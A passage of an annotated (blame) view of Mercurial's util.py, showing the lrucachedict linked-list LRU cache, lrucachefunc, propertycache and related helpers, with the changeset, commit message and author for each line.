27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1239
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1240 self._head = head = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1241 head.prev = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1242 head.next = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1243 self._size = 1
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1244 self._capacity = max
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1245
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1246 def __len__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1247 return len(self._cache)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1248
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1249 def __contains__(self, k):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1250 return k in self._cache
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1251
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1252 def __iter__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1253 # We don't have to iterate in cache order, but why not.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1254 n = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1255 for i in range(len(self._cache)):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1256 yield n.key
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1257 n = n.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1258
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1259 def __getitem__(self, k):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1260 node = self._cache[k]
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1261 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1262 return node.value
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1263
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1264 def __setitem__(self, k, v):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1265 node = self._cache.get(k)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1266 # Replace existing value and mark as newest.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1267 if node is not None:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1268 node.value = v
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1269 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1270 return
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1271
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1272 if self._size < self._capacity:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1273 node = self._addcapacity()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1274 else:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1275 # Grab the last/oldest item.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1276 node = self._head.prev
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1277
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1278 # At capacity. Kill the old entry.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1279 if node.key is not _notset:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1280 del self._cache[node.key]
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1281
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1282 node.key = k
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1283 node.value = v
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1284 self._cache[k] = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1285 # And mark it as newest entry. No need to adjust order since it
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1286 # is already self._head.prev.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1287 self._head = node
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1288
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1289 def __delitem__(self, k):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1290 node = self._cache.pop(k)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1291 node.markempty()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1292
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1293 # Temporarily mark as newest item before re-adjusting head to make
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1294 # this node the oldest item.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1295 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1296 self._head = node.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1297
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1298 # Additional dict methods.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1299
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1300 def get(self, k, default=None):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1301 try:
29839 79add5a4e857 util: properly implement lrucachedict.get() Gregory Szorc <gregory.szorc@gmail.com> parents: 29787 diff changeset	1302 return self._cache[k].value
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1303 except KeyError:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1304 return default
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1305
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1306 def clear(self):
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1307 n = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1308 while n.key is not _notset:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1309 n.markempty()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1310 n = n.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1311
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1312 self._cache.clear()
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1313
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1314 def copy(self):
6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1315 result = lrucachedict(self._capacity)
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1316
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1317 # We copy entries by iterating in oldest-to-newest order so the copy
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1318 # has the correct ordering.
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1319
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1320 # Find the first non-empty entry.
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1321 n = self._head.prev
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1322 while n.key is _notset and n is not self._head:
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1323 n = n.prev
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1324
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1325 for i in range(len(self._cache)):
6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1326 result[n.key] = n.value
6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1327 n = n.prev
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1328
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1329 return result
6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1330
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1331 def _movetohead(self, node):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1332 """Mark a node as the newest, making it the new head.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1333
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1334 When a node is accessed, it becomes the freshest entry in the LRU
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1335 list, which is denoted by self._head.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1336
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1337 Visually, let's make ``N`` the new head node (* denotes head):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1338
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1339 previous/oldest <-> head <-> next/next newest
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1340
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1341 ----<->--- A* ---<->-----
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1342 \| \|
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1343 E <-> D <-> N <-> C <-> B
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1344
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1345 To:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1346
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1347 ----<->--- N* ---<->-----
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1348 \| \|
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1349 E <-> D <-> C <-> B <-> A
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1350
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1351 This requires the following moves:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1352
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1353 C.next = D (node.prev.next = node.next)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1354 D.prev = C (node.next.prev = node.prev)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1355 E.next = N (head.prev.next = node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1356 N.prev = E (node.prev = head.prev)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1357 N.next = A (node.next = head)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1358 A.prev = N (head.prev = node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1359 """
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1360 head = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1361 # C.next = D
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1362 node.prev.next = node.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1363 # D.prev = C
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1364 node.next.prev = node.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1365 # N.prev = E
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1366 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1367 # N.next = A
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1368 # It is tempting to do just "head" here, however if node is
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1369 # adjacent to head, this will do bad things.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1370 node.next = head.prev.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1371 # E.next = N
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1372 node.next.prev = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1373 # A.prev = N
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1374 node.prev.next = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1375
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1376 self._head = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1377
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1378 def _addcapacity(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1379 """Add a node to the circular linked list.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1380
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1381 The new node is inserted before the head node.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1382 """
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1383 head = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1384 node = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1385 head.prev.next = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1386 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1387 node.next = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1388 head.prev = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1389 self._size += 1
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1390 return node
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1391
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1392 def lrucachefunc(func):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1393 '''cache most recent results of function calls'''
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1394 cache = {}
25113 0ca8410ea345 util: drop alias for collections.deque Martin von Zweigbergk <martinvonz@google.com> parents: 25112 diff changeset	1395 order = collections.deque()
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1396 if func.__code__.co_argcount == 1:
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1397 def f(arg):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1398 if arg not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1399 if len(cache) > 20:
16803 107a3270a24a cleanup: use the deque type where appropriate Bryan O'Sullivan <bryano@fb.com> parents: 16769 diff changeset	1400 del cache[order.popleft()]
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1401 cache[arg] = func(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1402 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1403 order.remove(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1404 order.append(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1405 return cache[arg]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1406 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1407 def f(*args):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1408 if args not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1409 if len(cache) > 20:
16803 107a3270a24a cleanup: use the deque type where appropriate Bryan O'Sullivan <bryano@fb.com> parents: 16769 diff changeset	1410 del cache[order.popleft()]
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1411 cache[args] = func(*args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1412 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1413 order.remove(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1414 order.append(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1415 return cache[args]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1416
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1417 return f
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1418
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1419 class propertycache(object):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1420 def __init__(self, func):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1421 self.func = func
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1422 self.name = func.__name__
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1423 def __get__(self, obj, type=None):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1424 result = self.func(obj)
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1425 self.cachevalue(obj, result)
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1426 return result
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1427
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1428 def cachevalue(self, obj, value):
19951 d51c4d85ec23 spelling: random spell checker fixes Mads Kiilerich <madski@unity3d.com> parents: 19852 diff changeset	1429 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
19845 a1237a4b437d repoview: make propertycache.setcache compatible with repoview Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 19461 diff changeset	1430 obj.__dict__[self.name] = value
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1431
35053 be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1432 def clearcachedproperty(obj, prop):
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1433 '''clear a cached property value, if one has been set'''
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1434 if prop in obj.__dict__:
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1435 del obj.__dict__[prop]
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1436
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1437 def increasingchunks(source, min=1024, max=65536):
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1438 '''return no less than min bytes per chunk while data remains,
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1439 doubling min after each chunk until it reaches max'''
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1440 def log2(x):
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1441 if not x:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1442 return 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1443 i = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1444 while x:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1445 x >>= 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1446 i += 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1447 return i - 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1448
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1449 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1450 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1451 for chunk in source:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1452 buf.append(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1453 blen += len(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1454 if blen >= min:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1455 if min < max:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1456 min = min << 1
